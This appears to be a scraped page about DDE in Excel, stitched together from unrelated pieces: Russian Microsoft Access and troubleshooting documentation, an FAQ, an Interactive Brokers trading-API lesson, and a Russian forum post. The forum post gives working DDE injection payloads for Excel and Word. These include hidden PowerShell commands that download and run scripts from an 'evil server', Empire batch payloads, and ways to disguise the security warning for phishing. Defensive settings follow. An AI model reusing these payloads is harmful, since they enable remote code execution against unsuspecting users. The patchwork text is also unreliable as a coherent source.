What is dde in excel

Access для Microsoft 365 Access 2021 Access 2019 Access 2016 Access 2013 Access 2010 Access 2007 Еще…Меньше

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

Синтаксис

DDE(

приложение, документ, раздел

)

Функция DDE имеет следующие аргументы:

Ар
гумент

Описание


приложение

Это строковое выражение, определяющие приложение, которое может участвовать в беседе DDE. Обычно приложение это имя EXE-файла (без расширения EXE) для приложения Microsoft Windows, например Excel. Например, чтобы начать сеанс DDE с Excel, введите «Excel» в качестве аргумента приложения.


документ

Строковая выражение, которое является именем тема распознается приложением. Аргумент документ часто является документом или файлом данных. Список допустимых документов см. в документации приложения.


раздел

Строковая выражение, которое является именем элемент данных распознается приложением. Список возможных элементов можно посмотреть в документации другого приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например ««R1C1»«, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDE он становится доступной только для чтения в представление формы режиме предварительного просмотра. Например, при использовании функции DDE в текстовом поле изменить текст в этом поле будет нельзя. Необходимо изменить текст в другом приложении. Так как свойство ControlSource в режиме формы и предварительного просмотра является только для чтения, изменения в Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Совет

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Эле
мент управления

Замечания

Текстовое поле

Аргумент раздел может ссылаться на текст или числа. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись. Эту функцию можно использовать с текстовым полем, чтобы отображать данные, содержащиеся в ячейке листа.

Поле со списком

Функция DDE заполняет поле со списком данными, на которые ссылается аргумент раздел. Вводить данные в текстовую часть поля нельзя. Функцию DDE можно использовать с полем со списком, чтобы отобразить список стран и регионов, хранящийся в листе Excel.

Группа переключателей

Для свойства OptionValue каждого переключателя в группе задан номер. Как правило, номер первого переключателя — 1, второго — 2 и т. д. Возвращаемое функцией DDE число определяет, какой переключатель будет выбран.

Например, если функция DDE возвращает 2, будет выбран второй переключатель. Если функция возвращает значение, не соответствующее ни одному из возможных значений свойства OptionValue, переключатель выбран не будет. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись.

Флажок

Если функция DDE возвращает 0, флажок будет снят. Если она возвращает значение, отличное от нуля, например 1 или -1, флажок будет установлен. Если раздел ссылается на текст или более чем на одну единицу данных, например именованный диапазон на листе Excel, который содержит несколько ячеек, флажок будет недоступен.

Нужна дополнительная помощь?

Содержание

  1. Функция DDE
  2. Замечания
  3. «Произошла ошибка при отправке команд в программу» в Excel
  4. Симптомы
  5. Решение
  6. Способ 1. Игнорировать DDE
  7. Способ 2. Восстановление виртуализации взаимодействия с пользователем (UE-V)
  8. Способ 3. Сброс сопоставления файлов
  9. Способ 4. Восстановление Office
  10. Способ 5. Выключите надстройки
  11. Способ 6. Отключите аппаратное ускорение
  12. Способ 7. Проверка наличия или установка последних обновлений
  13. Дополнительная информация

Функция DDE

С помощью функции DDE можно начать сеанс DDE с другим приложением, запросить из него информацию и вывести ее в элементе управления в форме или отчете.

Например, функцию DDE можно использовать в свойстве Данные текстового поля для отображения данных из указанной ячейки листа Microsoft Office Excel 2007.

DDE( приложение, документ, раздел )

Функция DDE имеет следующие аргументы:

Это строковое выражение, определяющие приложение, которое может участвовать в беседе DDE. Обычно приложение — это имя EXE-файла (без расширения EXE) для приложения Microsoft Windows, например Excel. Например, чтобы начать сеанс DDE с Excel, введите «Excel» в качестве аргумента приложения.

Строковая выражение, которое является именем тема распознается приложением. Аргумент документ часто является документом или файлом данных. Список допустимых документов см. в документации приложения.

Строковая выражение, которое является именем элемент данных распознается приложением. Список возможных элементов можно посмотреть в документации другого приложения.

Замечания

Функция DDE пытается запустить сеанс DDE с указанным приложением и документом и запрашивает данные в разделе. Если ей это удается, функция DDE возвращает строку, содержащую запрашиваемые данные.

При запросе данных из Excel разделом может быть идентификатор строки и столбца, например » «R1C1» «, или имя диапазона ячеек. В следующем примере функция DDE запрашивает данные ячейки в строке 1 и столбце 1 листа Excel. Это выражение можно ввести в поле Данные текстового поля на странице свойств элемента управления:

=DDE(«Excel», «Sheet1», «R1C1»)

Функцию DDE можно использовать только в свойстве Данные текстового поля, группы переключателей, флажка или поля со списком. Нельзя вызывать функцию DDE из модуля Visual Basic для приложений (VBA).

При использовании функции DDE он становится доступной только для чтения в представление формы режиме предварительного просмотра. Например, при использовании функции DDE в текстовом поле изменить текст в этом поле будет нельзя. Необходимо изменить текст в другом приложении. Так как свойство ControlSource в режиме формы и предварительного просмотра является только для чтения, изменения в Конструктор.

Максимальное количество сеансов DDE, которые можно открыть одновременно, определяется памятью и ресурсами компьютера и Microsoft Windows. Если не удается начать сеанс, так как другое приложение не запущено или не распознает указанный документ либо уже достигнуто максимальное количество сеансов, функция DDE возвращает NULL.

Примечание: Другое приложение может быть настроено таким образом, что будет игнорировать запросы на сеанс DDE. В этом случае функция DDE возвращает значение NULL. Кроме того, можно настроить Access таким образом, чтобы он игнорировал запросы от других приложений: в меню Файл выберите команду Параметры Access, в диалоговом окне Параметры приложения выберите пункт Дополнительно. В группе Операции DDE установите флажок Пропуск команд DDE.

Для управления объектами других приложений из Access можно воспользоваться автоматизацией.

В следующей таблице показано, как работает функция DDE при использовании с каждым из элементов управления.

Эле мент управления

Аргумент раздел может ссылаться на текст или числа. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись. Эту функцию можно использовать с текстовым полем, чтобы отображать данные, содержащиеся в ячейке листа.

Поле со списком

Функция DDE заполняет поле со списком данными, на которые ссылается аргумент раздел. Вводить данные в текстовую часть поля нельзя. Функцию DDE можно использовать с полем со списком, чтобы отобразить список стран и регионов, хранящийся в листе Excel.

Для свойства OptionValue каждого переключателя в группе задан номер. Как правило, номер первого переключателя — 1, второго — 2 и т. д. Возвращаемое функцией DDE число определяет, какой переключатель будет выбран.

Например, если функция DDE возвращает 2, будет выбран второй переключатель. Если функция возвращает значение, не соответствующее ни одному из возможных значений свойства OptionValue, переключатель выбран не будет. Если раздел ссылается более чем на одну единицу данных, например на именованный диапазон листа Excel, который содержит несколько ячеек, функция DDE возвращает первую запись.

Если функция DDE возвращает 0, флажок будет снят. Если она возвращает значение, отличное от нуля, например 1 или -1, флажок будет установлен. Если раздел ссылается на текст или более чем на одну единицу данных, например именованный диапазон на листе Excel, который содержит несколько ячеек, флажок будет недоступен.

Источник

«Произошла ошибка при отправке команд в программу» в Excel

Симптомы

Вы получаете следующее сообщение об ошибке в Microsoft Excel. Эта ошибка указывает на то, что некоторый процесс, который работает внутри Excel, не позволяет Excel закрыться. Произошла ошибка при отправке команд в программу

Решение

Для решения этой проблемы воспользуйтесь приведенными ниже способами в указанном порядке.

Способ 1. Игнорировать DDE

Чтобы изменить этот параметр, выполните приведенные ниже действия:

  1. Выберите вкладку Файл>Параметры.
  2. Выберите Расширенный, прокрутите вниз к разделу Общие, а затем снимите флажок Игнорировать DDE-запросы от других приложений (DDE) в области Общие.
  3. Нажмите кнопку OK.

Эта проблема может возникнуть, если в параметрах Excel установлен флажок Игнорировать другие приложения, использующие динамический обмен данными (DDE).

Если дважды щелкнуть книгу Excel в проводнике Windows Explorer, сообщение динамического обмена данными (DDE) отправляется в Excel. Это сообщение указывает Excel открыть книгу, которую вы щелкнули дважды.

Если вы выберете опцию «Игнорировать», Excel игнорирует DDE-сообщения, которые отправляются ему другими программами. Таким образом, сообщение DDE, отправленное в Excel с помощью Windows Explorer, игнорируется, и Excel не открывает книгу, которую вы щелкнули дважды.

Дополнительные сведения об отключении DDE см. в следующей статье базы знаний Майкрософт:

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 2.

Способ 2. Восстановление виртуализации взаимодействия с пользователем (UE-V)

Если вы используете обновление пользовательского опыта виртуализации (UE-V), установите Hotfix Package 1 для Microsoft User Experience Virtualization 2.0 (KB2927019).

Если вы не уверены, используете ли вы UE-V, просмотрите список программ в Программы и компоненты на панели управления. Запись для «Центра параметров компании» указывает на то, что вы используете UE-V.

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 3.

Способ 3. Сброс сопоставления файлов

Чтобы проверить, правильно ли работают сопоставления файлов в системе, сбросите сопоставления файлов Excel на настройки по умолчанию. Для этого выполните описанные ниже действия в зависимости от установленной операционной системы. Windows 10

  1. Нажмите правой кнопкой книгу Excel, укажите Открыть с помощью, а затем нажмите Больше приложений.
  2. Выберите версию Excel, которую вы хотите использовать для открытия этого типа файлов, например Excel 2016.
  3. Нажмите, чтобы выбрать Всегда используйте это приложение, чтобы открыть файлы .xlsx.
  4. Нажмите кнопку ОК.

Windows 8

  1. На начальном экране введите «Панель управления».
  2. Выберите Панель управления.
  3. Выберите Программы по умолчанию>Задание программ по умолчанию.
  4. Выберите Excel>Выберите по умолчанию для этой программы.
  5. На экране Сопоставление программ выберите Выбрать все>Сохранить.

Windows 7

  1. Выберите Пуск>Панель управления.
  2. Выберите Программы по умолчанию.
  3. Выберите Сопоставление типов файлов или протоколов с конкретными программами.
  4. Выберите Лист Microsoft Excel, затем выберите «Изменить программу».
  5. В разделе Рекомендуемые программы выберите Microsoft Excel.
  6. Если Excel не отображается в этом списке, выберите Обзор, найдите папку установки Excel, выберите Excel.exe>Excel.

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 4.

Способ 4. Восстановление Office

Возможно, требуется восстановить программы Office. Для этого следуйте инструкциям для вашего типа установки и операционной системы.

Для экземпляра Microsoft 365, установленного по технологии «нажми и работай»

  1. В поле поиска введите Панель управления, а затем выберите Панель управления в результатах поиска.
  2. В разделе Программы выберите Удаление программы.
  3. Последовательно выберите Microsoft 365>Изменить.
  4. Нажмите Восстановление по сети>Восстановить.

После завершения восстановления может потребоваться перезагрузить компьютер. Windows 8

  1. На начальном экране введите «Панель управления».
  2. Выберите Панель управления.
  3. В разделе Программы выберите Удаление программы.
  4. Выберите **Microsoft 365 **>Изменить.
  5. Выберите Восстановление по сети>Восстановить.

После завершения восстановления может потребоваться перезагрузить компьютер.

  1. Выберите Пуск>Панель управления.
  2. Дважды щелкните Программы и компоненты.
  3. Выберите **Microsoft 365 **>Изменить.
  4. Выберите Восстановление по сети>Восстановить.

После завершения восстановления может потребоваться перезагрузить компьютер.

Для установки Office 2016, 2013, Office 2010 или Office 2007

Для восстановления Office 2013, Office 2010 или Office 2007, следуйте шагам в следующей теме веб-сайта Office:

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 5.

Способ 5. Выключите надстройки

Надстройки Excel и COM также могут вызывать эту проблему. Эти два вида надстроек расположены в разных папках. Для тестирования отключите и изолируйте конфликт, отключив каждую надстройку по одному. Для этого выполните следующие действия:

  1. В меню Файл выберите пунктПараметры>Надстройки.
  2. В списке Управление в нижней части экрана выберите элемент Надстройки COM>Перейти.
  3. Удалите одну из надстроек в списке, затем выберите OK.
  4. Перезапустите Excel, дважды щелкнув значок или имя файла для книги, которую вы пытаетесь открыть.
  5. Если проблема сохраняется, повторите шаги 1-4, за исключением выбора другой надстройки в шаге 3.
  6. Если проблема сохраняется после того, как вы очистите все надстройки COM, повторите шаги 1-4, за исключением выбора Надстройки Excel в шаге 2, затем попробуйте каждую из надстроек Excel по одному на шаге 3.

Если Excel загружает файл, надстройка, которую вы выключили в последний раз, вызывает проблему. В этом случае мы рекомендуем вам посетить веб-сайт производителя надстройки, чтобы узнать, доступна ли обновленная версия надстройки. Если новая версия надстройки недоступна или вам не нужно использовать надстройку, вы можете оставить ее выключенной.

Если Excel не открывает файл после выключения всех надстроек, проблема имеет другую причину.

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 6.

Способ 6. Отключите аппаратное ускорение

Чтобы решить эту проблему, отключите аппаратное ускорение до тех пор, пока производитель видеокарт не выпустит исправление. Регулярно проверяйте обновления для драйвера видеокарты.

Порядок отключения аппаратного ускорения:

Запустите любую программу Office 2013.

На вкладке Файл выберите пункт Параметры.

В диалоговом окне Параметры выберите категорию Дополнительно.

В списке доступных параметров, установите флажок в поле Выключить аппаратное ускорение обработки изображений.

Следующий снимок экрана показывает эту опцию в Excel.

Нажмите кнопку ОК.

Если устранить проблему с помощью этих действий не удалось, перейдите к способу 7.

Способ 7. Проверка наличия или установка последних обновлений

Возможно, вам придется настроить Центр обновления Windows для автоматической загрузки и установки рекомендуемых обновлений. Установка важных, рекомендуемых и необязательных обновлений зачастую может решить проблемы за счет замены устаревших файлов и устранения уязвимостей.

Для получения дополнительных сведений об обновлениях Office щелкните следующий номер статьи, чтобы перейти к статье в базе знаний Майкрософт.

Дополнительная информация

Существует множество возможных причин, которые могут привести к этой ошибке.

  • Книга Excel пытается получить доступ к данным из другого приложения, которое все еще активно.
  • Слишком много надстроек Excel было добавлено в программу, или одна из надстроек повреждена.
  • Выполните одно из следующих действий.
    • Используйте стороннюю надстройку или приложение
    • Попробуйте открыть встроенный объект
    • Сохраните или откройте файл
    • Попробуйте использовать параметр «Отправить как вложение»
    • Вызовите другое приложение из книги Excel

Дополнительные сведения об этой проблеме и дополнительные действия по устранению неполадок см. в следующих статьях базы знаний Майкрософт.

Источник

How do I enable DDE in Excel?

By default, DDE server launch is turned off, but users can turn on DDE server launch by going to File >> Options >> Trust Center >> Trust Center Settings >> External Content.

What is DDE command?

Dynamic Data Exchange (DDE) is a form of communication between two applications on a windows machine. The /dde command can be used to create a dde connection with a dde server. When the topic parameter is required, you can use empty quotes (“”) to indicate a blank topic.

How do I activate DDE?

By default, DDE server launch is turned off, but users can turn on DDE server launch by going to File > Options > Trust Center > Trust Center Settings > External Content. For security reasons, turning on DDE server launch is not recommended.

What is DDE error in Excel?

A DDE error has occurred, and a description of the error cannot be displayed because it is too long. If the filename or path is long, try renaming the file or copying it to a different folder. This issue occurs when you open a file from a mapped drive, a UNC path, or a URL (web address).

What is DDE in Excel?

In computing, Dynamic Data Exchange (DDE) is a technology for interprocess communication used in early versions of Microsoft Windows and OS/2. DDE allows programs to manipulate objects provided by other programs, and respond to user actions affecting those objects.

Does DDE work on Windows 10?

DDE still works, even in Windows 10 and Excel 2016.

How do I enable DDE in Excel 2013?

Start any Office 2013 program. On the File tab, select Options….To correct this setting, follow these steps:

  1. Select File > Options.
  2. Select Advanced, scroll down to the General section, and then clear the Ignore other applications that use Dynamic Data Exchange (DDE) check box in the General area.
  3. SelectOK.

What is DDE Excel?

What is DDE initiate?

(Windows only) Opens a dynamic data exchange (DDE) client conversation for a specified DDE server application and topic, and associates the new conversation with an ABL frame. To identify the conversation, the statement returns an integer as a unique channel number for this conversation.

Is DDE supported in Windows 10?

How do I run DDE command in C?

The basic format for invoking DDE Command is to run it with a command type and then provide any arguments using switches, e.g. C:> ddecmd command –option1 value1 –option2 value2 The arguments can be specified using either Windows style (e.g. /option) or the more modern style (e.g. –option).

How to use DDE command in xtyp?

The tool supports all the major DDE command types, such as XTYP_REQUEST, XTYP_ADVSTART, XTYP_POKE & XTYP_EXECUTE via similarly named commands. The basic format for invoking DDE Command is to run it with a command type and then provide any arguments using switches, e.g.

What is xtyp_POKE command?

The poke command allows you to set a value for an item on servers that support it ( XTYP_POKE ). Unlike the previous request and advise commands you can only set the value for a single item and that value will be passed in CF_TEXT format, e.g.

What is directdde command?

DDE Command v1.6. Introduction. This is a command line (aka console) based tool for querying text data from DDE servers. It is the counterpart to my much older GUI based tool called DDE Query.

Study Notes:

In this lesson, we’re going to define Excel DDE, run the DdeSocketBridge batch file, access market data using a blank spreadsheet and walk-through a sample DDE spreadsheet exploring syntax.

What is DDE?

The Dynamic Data Exchange (DDE) protocol is another method provided by Microsoft that allows inter-process communication between Windows applications.

 For the purposes of IBKR, this allows communication between TWS and Excel using standard DDE control strings.

Differences between legacy DDE connection and new DDE socket bridge

  • Beginning with TWS API 975, the new DDE socket bridge was rolled out to replace the legacy DDE connection, which had some limitations.
  • Legacy DDE connects to TWS using a dynamic link library (dll) file, which only allowed one active connection per machine.
  • While the new socket bridge allows you to connect up to 32 instances to the same TWS session.
  • Plus, the DDE Socket Bridge utilizes Java.  So ensure that Java is installed before running the batch file.
  •  The legacy DDE connection requires 32-bit TWS, while the new socket bridge works in either 32 or 64-bit architecture.
  • The available functions for the legacy DDE are limited while the new socket bridge brings all the same functions we offer with our other socket based programming languages such as news, tick data, histogram, streaming PnL.

Running the new socket bridge and new sample

  • Full instructions on running the new socket bridge and sample can be found on the GitHub page.
  • First launch TWS or IB Gateway.
  • Then navigate to Global Configuration -> API -> Settings and ensure that “Enable ActiveX and Socket Clients” is checked.
  • When using the IB Gateway, the socket connection is enabled automatically.
  • By default, the socket bridge connects using port 7496. Make sure your TWS is set to the same.
  • The “Enable DDE connections” setting was used for the legacy DDE connection. Starting with TWS Build 980 and above, it is deprecated.
  • Make sure to leave this setting unchecked.
  • Then, navigate to C:TWS APIsamplesDdeSocketBridge and double click on the batch file “runDdeSocketBridge” to run it.
    • If the socket bridge window does not open and appears to only flash momentarily, you may need a fresh install of Java. See the Pre-requisites section listed in Lesson 1.
  • Upon successful connection of the socket bridge, there should be a popup window that shows Connected!
  • Now that the connection has been established, make sure to leave terminal running and now we can begin to use the sample spreadsheet. If terminal is closed, it will disconnect the socket bridge.

What if you want to connect using a different port or specify a different username?

This can be done by modifying the batch file: runDdeSocketBridge.bat.

Open runDdeSocketBridge.bat in Editor/Notepad and modify to have: 

echo off
if not exist "DdeSocketBridge.jar" goto :error
java -Djava.library.path=.srcmainresources -jar DdeSocketBridge.jar -myDDE -p7497 goto :end
:error
echo DdeSocketBridge.jar is not found
:end

Requesting data from a blank spreadsheet

Lets start with a blank spreadsheet and subscribe to ticker symbol AMZN and request the bid, ask and last price.

As defined previously – make sure that the runDdeSocketBridge is running by double clicking on the .bat (batch) file.

Market Data retrieval requires at least two different DDE links:

  • one –  to start the market data subscription and
  • two –  specifies the returning tick type.

The formula to start the request will need to provide TWS with enough information so that TWS can identify which instrument we are interested in.

I am going to specify the stock AMZN with this formula:
twsuser
The user name with which you logged into the TWS
requestId
The request unique identifier (any positive integer)
symbol
The contract symbol
sectype
The asset class of the contract
exchange
the listing exchange or venue we want to query the data from
currency
The contract currency

=Stwsserver|tik!'id2?req?AMZN_STK_SMART_USD_~/'

Now for the second request to receive the bid price:
twsuser
The user name used in the first request – twsserver
requestId
The request identifier used in the first request – 2
Tick type – bid price
Now – I’ll also request the ask and last price.

This is how you request market data from TWS using Excel DDE. Next, we’ll open a sample spreadsheet provided in the TWS API download which contains a variety of examples.

=Stwsserver|tik!id2?bid

Now let’s navigate to the samples folder to open the new sample DDE spreadsheet, NewTwsDde.xls.
As you can see, the sample spreadsheet/workbook consists of multiple tabs which for the different API functionalities.

  • In the tickers tab, you may request streaming market data.
  • This tab pulls the TWS watch list data, like RTD.
    To begin to stream data, you will first need to fill in the contract description section for your instrument.
  • There are already a few sample contracts that have been filled out.
  • A stock contract would typically consist of a symbol, secType, exchange, currency, and primaryExchange as shown in row 19.
  • These parameters for any instrument type can be found in the TWS contract description window.

In TWS you can right click on the instrument of interest, then go to “Financial Instrument Info”, then “Description”.

  • For more information on contract definitions, check out the API documentation.
  • As with RTD, you can also request generic ticks.
  • Once you have your request ready, click on the symbol column of interest.
  • If requesting data for multiple symbols, you may highlight multiple rows by pressing the Ctrl key as you click on row.
  • Click on “Req Mkt Data” on the top left of the sheet.
  • The quotes for different tick types will begin to stream to Excel from TWS.
  • When you want data to stop streaming click on “Cancel Mkt Data”

Functionality for the rest of the spreadsheet

There is a lot of functionality throughout in the Excel tabs and it would take some time to go through each and everyone one of them during this lesson.

We encourage you to review the corresponding documentation for each tab of interest on our github guide. For example, for the “historicalData” tab, and the “Account” tab.

How to port legacy DDE sheets and formulas

The new socket bridge is backwards compatible with legacy DDE Excel sheets and formulas. You only need to change the username in the DDE formulas to the socket bridge username, whether this is entered by a macro button like in the sample spreadsheets or directly in the formula bar.

  • For example, a client with IBKR username “sample123” may have the following DDE control string to request market data from an old spreadsheet.
=Ssample123|tik!'id1?req?EUR_CASH_IDEALPRO_USD_~/'
  • After the socket bridge is connected, the client would only need to ensure the formulas reference the socket bridge username, which is “twsserver” by default.
=Stwsserver|tik!'id1?req?EUR_CASH_IDEALPRO_USD_~/'

Disclosure: Interactive Brokers

The analysis in this material is provided for information only and is not and should not be construed as an offer to sell or the solicitation of an offer to buy any security. To the extent that this material discusses general market activity, industry or sector trends or other broad-based economic or political conditions, it should not be construed as research or investment advice. To the extent that it includes references to specific securities, commodities, currencies, or other instruments, those references do not constitute a recommendation by IBKR to buy, sell or hold such investments. This material does not and is not intended to take into account the particular financial conditions, investment objectives or requirements of individual customers. Before acting on this material, you should consider whether it is suitable for your particular circumstances and, as necessary, seek professional advice.

The views and opinions expressed herein are those of the author and do not necessarily reflect the views of Interactive Brokers LLC, its affiliates, or its employees.

Any trading symbols displayed are for illustrative purposes only and are not intended to portray recommendations.

In accordance with EU regulation: The statements in this document shall not be considered as an objective or independent explanation of the matters. Please note that this document (a) has not been prepared in accordance with legal requirements designed to promote the independence of investment research, and (b) is not subject to any prohibition on dealing ahead of the dissemination or publication of investment research.

Disclosure: API Examples Discussed

Throughout the lesson, please keep in mind that the examples discussed are purely for technical demonstration purposes, and do not constitute trading advice. Also, it is important to remember that placing trades in a paper account is recommended before any live trading.

Всем привет! Решил немного написать о реализации DDE в MS Excel.

В этой теме был был предложен вариант для MS Word, он и стал отправной точкой для изучения схожей уязвимости MS Excel.
DDE — Dynamic Data Exchange. Полный список команд DDE вы можете найти

Ссылка скрыта от гостей

По аналогии с Word мы используем DDE функцию для вызова cmd. В MS Excel это довольно просто:
Вставляем в любую ячейку вызов функции cmd и задаем ей параметр. А1 — номер ячейки.

=cmd|’/c calc.exe’!A1

Параметр /c может быть изменен на /k *
Примечание: CMD /C запускает команду и выполняет ее, а CMD /K выполняет команду и возвращает нас в командную строку, позволяя выполнять следующие команды, так же полезно для тестирования переменных.

Первая часть пейлоада =cmd|’ дает инструкцию MS Excel вызвать CMD, а вторая передает команду CMD.
В нашем примере при запуске MS Excel юзер получит уведомление о том что ссылки нужно обновить.(что в целом безобидно)

dde test exel 01 warn.JPG

Во втором сообщение мы видим предупреждение о запуске cmd — что есть палево.

dde test exel 02 warn.JPG

Калькулятор запустился

dde test exel 03.JPG

Посколько у CMD есть ограничение на длинну аргумента в 1024 байта, 1024 это максимальная строка для функции CreateProcess(), то мы можем обойти это с помощью инструкций Powershell, например на удаленную загрузку нашего скрипта и исполнение его прямо из DDE.

Для этого сначала подготовим нагрузку в виде скрипта ps1 и положим на наш злой сервер.
Далее в указываем занчение ячейки:
=-2+3+cmd|’/c powershell.exe -w hidden $e=(New-Object System.Net.WebClient).DownloadString(»

Ссылка скрыта от гостей

«);IEX $e’!_xlbgnm.A1

С помощью функции DownloadString наш Powershell парсит строку по адресу

Ссылка скрыта от гостей

, и обрабатывает скрипт! Обратите внимание , эта функция работает только на Powershell версии 3 и выше.
Результат:

dde test exel 041.JPG

Так же мы можем запустить batch файл, например пейлоад сгенерированный powershell empire

=cmd|’/c \evilserver.comempire.bat;IEX $e’!A1

PS: Статья не закончена. В планах что-то придумать для скрытия предупреждения о запуске cmd.
Ну и было бы неплохо, если бы кто-то помог с шифрованием строки в base64. Я что-то с синтаксисом напутал, упорно не хочет считывать.
PPS: Всегда рад конструктивным замечаниям.
[doublepost=1508916320,1508489034][/doublepost]UPDATE:
Патч частично защищает от уязвимости.

Ссылка скрыта от гостей

Но лично у меня все работало и после установки апдейта. Для защиты лучше настроить все руками, дабы нерадивые пользователи не тыкали «ок» -> «ок» -> «далее» бездумно, ну и провести работу воспитательную.
Для админов рекомендую следующее:
Для MS Word
Параметры Word — Дополнительно — (раздел Общие) — Автоматически обновлять связи при открытии (снять галочку)

dde aouto off.JPG

После этого DDE не будет обработан.

Для Excel хуже.
Первый способ мягкий:

dde auto off excel.JPG

Параметры Excel — Дополнительно — (раздел Общие)
— Запрашивать об обновлении автоматических связей (поставить галочку)
— Игнорировать DDE запросы от других приложений (поставить галочку)

dde auto off excel.JPG

Результат- будет хотя бы уведомление

dde excel after fix.JPG

Метод решения радикальный, т.к. напрочь отключает DDE и возможно не всем подойдет:
Параметры Excel — Центр управления безопасностью — кнопка «Параметры центра безопасности» — Внешнее содержимое —
— Отключить все подключения к данным
— Отключить автоматическое обновление связей в книге

Результат — все дде блочатся напрочь

dde auto off excel3.JPG

ПС:
Еще это можно сделать через реестр

Код:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0WordOptions]
"DontUpdateLinks"=dword:00000001
[HKEY_CURRENT_USERSoftwareMicrosoftOffice14.0ExcelOptions]
"DontUpdateLinks"=dword:00000001
"DDEAllowed"=dword:00000000
"DDECleaned"=dword:00000001

Тут те же настройки кроме последнего решения для Excel
[doublepost=1509618109][/doublepost]UPDATE2:
Немного по скрытию запуска строки:

EXCEL

Код:

=MSEXCEL|'......WindowsSystem32cmd.exe /c \evilserver.comsp.bat;IEX $e'!''

Word

Код:

  { DDEAUTO "C:\Programs\Microsoft\Office\MSWord\..\..\..\..\windows\system32\WindowsPowerShell\v1.0\powershell.exe -NoP -sta -NonI -W Hidden IEX (New-Object System.Net.WebClient).DownloadString('http://server.com/evilscript.ps1'); # " "Microsoft Document Security Add-On" }

Тогда окно станет более безобидным:

Phish.JPG

Понравилась статья? Поделить с друзьями:
  • What is date format in excel
  • What is date and time in excel
  • What is data validation in excel
  • What is data source in excel
  • What is data range in excel